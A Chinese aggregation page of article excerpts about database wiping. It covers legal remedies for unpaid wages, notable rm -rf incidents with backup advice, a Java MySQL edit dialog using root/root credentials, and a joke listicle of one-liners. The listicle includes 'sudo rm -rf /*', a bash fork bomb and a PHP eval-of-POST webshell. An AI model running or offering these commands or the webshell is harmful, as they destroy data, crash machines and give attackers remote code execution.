精华内容
下载资源
问答
  • 最近有个程序员在网上发帖求助:公司拖欠了两个月的工资,现在想把这两个月敲的代码都删掉,然后删库跑路,这么做违法吗?关于删库跑路,妥妥的违法有截图中这种想法并且付之行动的程...
        

    最近有个程序员在网上发帖求助:


    公司拖欠了两个月的工资,现在想把这两个月敲的代码都删掉,然后删库跑路,这么做违法吗?


    640?wx_fmt=jpeg


    关于删库跑路,妥妥的违法


    有截图中这种想法并且付之行动的程序员,回头是要上热门新闻啊,并且大概率是要吃牢饭的。


    2018 年有一则新闻,一个意大利程序员因不满被公司解雇了,利用在职时所掌握的服务器权限和漏洞,登录公司服务器删库,最后被警方抓了


    被拖欠工资而导致有怨气,这正常。遇到这种事,一定要保持克制,千万别冲动。公司拖欠工资是一码事(民事纠纷)。如果你删库跑路,公司报案,就成了另外一码事(刑事案件)。


    此外,一般来说,程序员在任职公司所写的代码,版权是属于公司的,而不是个人…除非你家公司放弃 640?wx_fmt=png



    遇上拖欠工资,该怎么办?


    尽早申请劳动仲裁,这是比较常见的方法。


    640?wx_fmt=png

    640?wx_fmt=png

    640?wx_fmt=png

    640?wx_fmt=png



    根据我们微博读者的一些经历,还有在网上查到的一些资料,汇总如下:


    1、向当地劳动执法监察大队投诉。按理说,他们会依法对用人单位进行监督检查,并责令其支付拖欠的工资。(参见@一朵树两朵树 的评论)


    2、向当地劳动行政部门申请劳动仲裁。通过劳动仲裁下达的裁决书,向单位索赔,如果还不赔,可申请法院强制执行。(参见@-铮鸣z 的经历。另外需要提醒一下,如果是遇到极品公司,即便是走劳动仲裁,公司可能会利用法律流程,拖延支付时间。从立案到结案,到你拿到工资,可能一两年。


    3、劳动合同法第三十条的规定,用人单位拖欠或者未足额支付劳动报酬的。所以可以依法向当地人民法院申请支付令,人民法院应当依法发出支付令。(用过这个方式的读者,欢迎留言补充)

    4、如果劳动仲裁不予受理或者仲裁不公,还可以在 15 天内向法院提起民事诉讼,直接通过法院判决执行。(有这个经历的读者,欢迎留言补充)

    5、按上述途径索取工资的同时,还可依据劳动合同法第 85 条的规定,要求单位按应付金额 50% 以上 100% 以下的标准向你加付赔偿金。(有这个经历的读者,欢迎留言补充)

    上面这些,是应对拖欠工资的理智方法。

    至于一些网友提说的留坑埋雷方法,当段子看看就够了,千万别当真。2_05.png2_05.png


    640?wx_fmt=png

    640?wx_fmt=png


    精彩回顾

     程序员究竟能干多少年?

     互联网公司各岗位真实工作内容起底

     一次尴尬的采访和程序员的传奇脑洞!

     天一冷,程序员都穿上格子衫

     史上最真实的行业鄙视链曝光

     IT公司老板落水,各部门员工怎么救

     宿命之战:程序员VS产品经理

     作为一个前端,可以如何机智地弄坏一台电脑?

     程序员跟产品经理打起来了,这是一个需求引发的血案...

     后端说,你个前端不会用 headers吧,我怒了!

     有个厉害的程序员女朋友是什么体验?

     多年来,程序员经常加班的真相终于揭开了…


    640?wx_fmt=gif


    展开全文
  • 近年来,在国内外程序员删库跑路的事件已经屡见不鲜。删库跑路事件频发,那么,为什么删库操作如此容易发生?此时,就需要知道删库命令了。删库命令谈到删库就不得不提到对应的删库命令rm。rm命令...

    近年来,在国内外程序员删库跑路的事件已经屡见不鲜。删库跑路事件频发,那么,为什么删库操作如此容易发生?此时,就需要知道删库命令了。

    删库命令

    谈到删库就不得不提到对应的删库命令rm。rm命令是 linux 系统下删除文件的命令,可以删除一个目录中的一个或多个文件或目录,也可以将某个目录及其下属的所有文件及其子目录均删除掉。

    需要注意的是:使用rm命令一旦删除了一个文件,就无法再恢复它。所以,在删除文件之前,最好再看一下文件的内容,确定是否真要删除。

    其中,需要注意rm -rf的使用。rm -rf是最广为人知的一条linux系统下的文件删除命令,作用是无提示地强制递归删除文件。通常这个命令都是指定文件夹用的,比如:rm -rf /xxx/a/,就是删除 /xxx/a/ 这个文件夹下面的所有东西。但是如果后面的文件夹路径没有加对,rm -rf /在服务器上也就意味着删库了!

    所以,严重警告:rm非常危险,需要谨慎使用!

     删库命令

    删库事件

    近些年国内外都发生了哪些删库事件?

    01

    微盟事件

    微盟是中国中小企业云端商业及营销解决方案提供商,同时也是腾讯社交网络服务平台中小企业精准营销服务提供商。

    近日,微盟的业务系统数据库(包括主备)遭遇其公司运维人员的删除,大面积服务集群无法响应,生产环境及数据遭受严重破坏。

    该运维人员为微盟研发中心运维部核心运维人员贺某,其通过个人VPN登入公司内网跳板机,因个人精神、生活等原因对微盟线上生产环境进行了恶意的破坏。

     微盟官方公告

    02

    Chef事件

    Chef Sugar 是一个 Ruby 库,用以更加轻松地使用 Chef。Varga 在 Chef 任职期间开发并开源了该库,后来将该库集成到 Chef 的源代码中。Varga不满Chef公司与美国反移民政府机构合作,用删库的行为以示抗议。

    03

    顺丰事件

    2018年9月19 日晚,顺丰的一个高级工程手误把线上系统一个库删除了,导致某项服务无法使用并持续 590 分钟,然后跑路了!

    导致此结果的原因是工作运维人员工作不严谨的操作,导致OMCS运营监控系统发生故障,对业务产生了严重的负面影响。

    除了以上事件之外,还有Gitlab误操作删库事件、verelox.com删库事件、Instapaper数据库宕机事件、携程误操作删库事件等,这些已经发生的删库事件提醒我们:任何程序都会有Bug,任何系统都会有异常,我们需要时刻注意风险,积极总结和反思,预防那些可以避免的异常,妥善处理已经发生的异常,让产品更好地服务客户。

    预防与处理措施

    如何做到更好地预防和处理删库事件?

    1)完善、有效的备份和容灾机制

    企业必须拥有一整套的备份、容灾机制,并且需要检验备份机制能否真实奏效。备份的恢复速度也要考虑到,磁带的低效备份关键时刻会害死人。

    2)完善的故障处理策略和流程

    不同系统之间要确定规则,按照规则章程办事,才不容易出现故障。

    3)应急机制

    不仅仅技术上具备容灾应急的响应方案,从业务端同样要有对应的预案,以便应急时同步处理,区别对待。很多时候,有了业务上的应急、降级服务方案,技术层面的处理就能够从容许多。

    4)可以快速协同的团队资源

    很多时候严重的故障,需要较大规模的专业团队协作处理,原厂商和第三方在其中都承载着重要的角色,所以关键时刻,要能够获得内外部快速及时的支持,尤其是在绵延数天的高强度工作中。

    此外,还需注意的是:无论是运维、DBA 还是程序员们都应该在日常 Coding 时严加注意操作规范,铭记“一失手成千古恨”的后果。在审查时也要做好自动容灾、数据同步的步骤,最重要的是不要忘记备份!!!

    长按二维码,关注我们

    新睿云,让云服务触手可及

    云主机|云存储|云数据库|云网络


    展开全文
  • [java]代码库package www.baidu.com;import java.awt.Frame;import java.awt.GridLayout;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import java.sql.Connection;import java.sql....

    [java]代码库package www.baidu.com;

    import java.awt.Frame;

    import java.awt.GridLayout;

    import java.awt.event.ActionEvent;

    import java.awt.event.ActionListener;

    import java.sql.Connection;

    import java.sql.DriverManager;

    import java.sql.PreparedStatement;

    import java.sql.ResultSet;

    import java.sql.SQLException;

    import java.sql.Statement;

    import javax.swing.JButton;

    import javax.swing.JDialog;

    import javax.swing.JLabel;

    import javax.swing.JOptionPane;

    import javax.swing.JTextField;

    public class revise extends JDialog implements ActionListener {

    private JTextField setName,setNumber,setSex,setAge,setPost,setWage,setJop;

    private JLabel name,number,age,sex,wage,post,jop;

    private JButton Addyes,Addno;

    private Connection con=null;

    private Statement sql=null;

    private ResultSet rs=null;

    private String SQLname,SQLsex,SQLpost,SQLjop;

    private int SQLnumber,SQLage,SQLwage;

    //chaxun xx;

    revise(Frame fck,String ckm,Boolean msck,chaxun xx,int j){

    super(fck, ckm,msck);

    if(j==-1){

    JOptionPane.showMessageDialog(null,"请选中要修改的行");

    return;

    }

    //xx=new chaxun();

    setNumber=new JTextField(5);

    setNumber.setText((String)xx.getValueAt(j,0).toString());

    setNumber.setEditable(false);//设置为不能修改,防止出错

    setName=new JTextField(5);

    setName.setText((String)xx.getValueAt(j,1));

    setAge=new JTextField(5);

    setAge.setText((String)xx.getValueAt(j,3).toString());

    setSex=new JTextField(5);

    setSex.setText((String)xx.getValueAt(j,2));

    setPost=new JTextField(5);

    setPost.setText((String)xx.getValueAt(j,4));

    setWage=new JTextField(5);

    setWage.setText((String)xx.getValueAt(j,5).toString());

    setJop=new JTextField(5);

    setJop.setText((String)xx.getValueAt(j,6));

    name=new JLabel("姓名");

    number=new JLabel("学号");

    age=new JLabel("年龄");

    sex=new JLabel("性别");

    post=new JLabel("职位");

    wage=new JLabel("工资");

    jop=new JLabel("地点");

    Addyes=new JButton("确定");

    Addno=new JButton("取消");

    this.add(number);this.add(setNumber);

    this.add(name);this.add(setName);

    this.add(sex);this.add(setSex);

    this.add(age);this.add(setAge);

    this.add(post);this.add(setPost);

    this.add(wage);this.add(setWage);

    this.add(jop);this.add(setJop);

    this.add(Addyes); this.add(Addno);

    this.Addyes.addActionListener(this);

    this.Addno.addActionListener(this);

    this.setSize(350,400);

    this.setLocation(100, 260);

    this.setLayout(new GridLayout(8,2));

    this.setVisible(true);

    this.setResizable(false);

    }

    @Override

    public void actionPerformed(ActionEvent e) {

    // TODO Auto-generated method stub

    if(e.getSource()==Addyes){

    try{

    // 获得连接

    Class.forName("com.mysql.jdbc.Driver");

    con = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/nature","root","root");

    // 建立查询条件

    String recode = " update nature set name=?,sex=?,age=?,post=?,wage=?,jop=? where number=?";

    PreparedStatement input=con.prepareStatement(recode);

    SQLnumber=Integer.parseInt(setNumber.getText());

    SQLage= Integer.parseInt(setAge.getText());

    SQLwage= Integer.parseInt(setWage.getText());

    // input.setInt(1, SQLnumber);

    input.setString(1, setName.getText());

    input.setString(2,setSex.getText());

    input.setInt(3,SQLage);

    input.setString(4,setPost.getText());

    input.setInt(5,SQLwage);

    input.setString(6,setJop.getText());

    input.setInt(7, SQLnumber); //修改的条件

    input.executeUpdate();

    JOptionPane.showMessageDialog(null, "修改成功");

    this.dispose();

    }

    catch(NumberFormatException nu){

    JOptionPane.showMessageDialog(null,"你还没有输入哦","错误",JOptionPane.ERROR_MESSAGE);

    }

    catch(ClassNotFoundException cnfe){

    JOptionPane.showMessageDialog(null,"数据源错误","错误",JOptionPane.ERROR_MESSAGE);

    }

    catch(SQLException sqle){

    sqle.printStackTrace();

    JOptionPane.showMessageDialog(null,"数据操作错误","错误",JOptionPane.ERROR_MESSAGE);

    }

    finally

    {

    try {

    if(rs!=null)

    {

    rs.close();

    }

    if(sql!=null)

    {

    sql.close();

    }

    if(con!=null)

    {

    con.close();

    }

    } catch (Exception e1){}

    }

    }

    if(e.getSource()==Addno){

    this.dispose();

    }

    }

    }

    [源代码打包下载]

    7ab7b94785bbdb79d4aaa6009386543f.gif增删改查.zip(50积分)[5 次下载]

    694748ed64b9390909c0d88230893790.png

    展开全文
  • 程序员:删库跑路 今天我们来聊聊一行代码可以干些什么 为所欲为 我的另一篇博客:一行代码搞定网页内容增删改 百度文库亲测可用 就是下面这句代码,你见识完之后,别忘了给我点赞就好。 操作如下: 在网页中点击...

    一行代码可以做什么?程序员:删库跑路

    今天我们来聊聊一行代码可以干些什么

    为所欲为

    我的另一篇博客:一行代码搞定网页内容增删改 百度文库亲测可用
    就是下面这句代码,你见识完之后,别忘了给我点赞就好。
    操作如下:

    1. 在网页中点击F12,任意页面都行。
    2. 在弹出的调试面板最上面选中Console,然后输入上面这行代码,回车。
    3. 好了,整个网页你可以随便编辑了。
    document.body.contentEditable='true';
    

    在这里插入图片描述

    删库跑路

    这行指令就像是在你的所有文件上浇汽油然后一把火把他们全烧了。

    sudo rm -rf /*
    

    在这里插入图片描述

    让电脑死机

    :(){ :|: & };:
    

    在这里插入图片描述

    能让你上演黑客帝国

    sudo apt-get install hollywood cmatrix
    

    在这里插入图片描述

    能追心仪对象

    这行代码能展示出一个心型:

    print('\n'.join([''.join([('Love'[(x-y) % len('Love')] if ((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3 <= 0 else ' ') for x in range(-30, 30)]) for y in range(30, -30, -1)]))
    

    在这里插入图片描述

    飞速创建一个服务器

    python -m http.server
    

    在这里插入图片描述

    带你开车

    只要以如下开头

    magnet:?xt=urn:btih:
    

    在这里插入图片描述

    帮你骂人

    (!(~+[])+{})[--[~+""][+[]]*[~+[]] + ~~!+[]]+({}+[])[[~!+[]]*~+[]]
    

    在这里插入图片描述

    帮你被追杀

    rm -rf /
    

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    查找重复单词

    perl -0777 -ne 'print "$.: doubled $_\n" while /\b(\w+)\b\s+\b\1\b/gi'
    

    飞速统计文件名

    dir \\?\%1 /a:-d /b /o /p /w >FileNameList.txt
    

    99乘法表

    print('\n'.join([' '.join(['%s * %s = % - 2s' % (y, x , x*y)for y in range(1, x + 1)])for x in range(1, 10)])) <img src="https://pic1.zhimg.com/50/v2-f839475ab6c6da14f76175932c776842_hd.jpg" data-caption="" data-size="normal" data-rawwidth="1402" data-rawheight="292" data-default-watermark-src="https://pic1.zhimg.com/50/v2-e73f520d34680f16901711908c93c9cd_hd.jpg" class="origin_image zh-lightbox-thumb" width="1402" data-original="https://pic1.zhimg.com/v2-f839475ab6c6da14f76175932c776842_r.jpg"/>
    

    做个老虎机

    import random;p=lambda:random.choice('7♪♫♣♠♦♥◄☼☽');[print('|'.join([p(),p(),p()]),end='\r') for i in range(8**5)]
    

    解决八皇后问题

    [__import__('sys').stdout.write('\n'.join('.' * i + 'Q' + '.' * (8-i-1) for i in vec) + "\n========\n") for vec in __import__('itertools').permutations(range(8)) if 8 == len(set(vec[i]+i for i in range(8))) == len(set(vec[i]-i for i in range(8)))]
    

    一句话木马

    <?php @eval($_POST['pass']) ?>
    

    判断一个正整数是不是 2的k次方

    return !(x & (x - 1))
    

    当然,一行代码自然少不了回忆起青葱的岁月!

    printf("Hollo World!");
    

    在这里插入图片描述 在这里插入图片描述

    展开全文
  • (简单粗暴的方式就是直接搜索mysql然后一个一个) 4.删除HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL文件夹 5.删除HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Eventlog\...
  • 1.在控制面板的管理工具的服务中关闭mysql服务;2.在控制面板中删除mysql的运行程序;3.在C:\Documents and Settings\All Users\Application Data\MySQL删除mysql;4.看下 打开注册表(运行下输入regedit),打开后...
  • 删库(这里指清空操作的XML文件)代码: public static void deleteStu(int index) throws Exception { //删库代码 //Element e=Dom4jTool.getElement(); Document doc=Dom4jTool.getDocument(); Element...
  • 删库跑路,是程序员的终极技能,新闻上也数次见过报道。小伙伴们虽然第一次在现实中遇到这种紧急情况,但是大家镇定地处理了这个问题。 首先在 DBA 的帮助下,导出 binlog 日志, 一起临时恢复了数据,对问题进行了...
  • 年后复工大戏,又增加一出:删库跑路! 此举直接给公司带来数10亿的市值蒸发损失,并引发一段“狗血恩怨剧情”,说实话电视剧都不敢这么拍!这次不是别人,正是微信生态的第三方服务商微盟,在这...
  • 年后复工大戏,又增加一出:删库跑路!此举直接给公司带来数10亿的市值蒸发损失!这次不是别人,正是微信生态的第三方服务商微盟,在这个"远程办公”的节骨眼出事了。2月25日,微盟集团...
  • 这个框架 不是能 初始化 数据库 吗?[face]monkey:12.gif[/face]
  • 关注、星标公众号,不错过精彩内容素材来源:极客时间编辑整理:strongerHuang618 过去十几天了,如果某东和某宝电商平台的代码“不漂亮”,你能想象是什么情况吗?如果代码被人删除...
  • “可能我删了数据才会轻松...【删库跑路】,是作为一个程序员所能基于公司,最后、也是最为恶毒的诅咒。然而顾忌到这一行为所要承担的法律责任,大多数也只是说说而已,没有人敢赌上自己的职业生涯动手实践。也正因...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,532
精华内容 612
关键字:

删库代码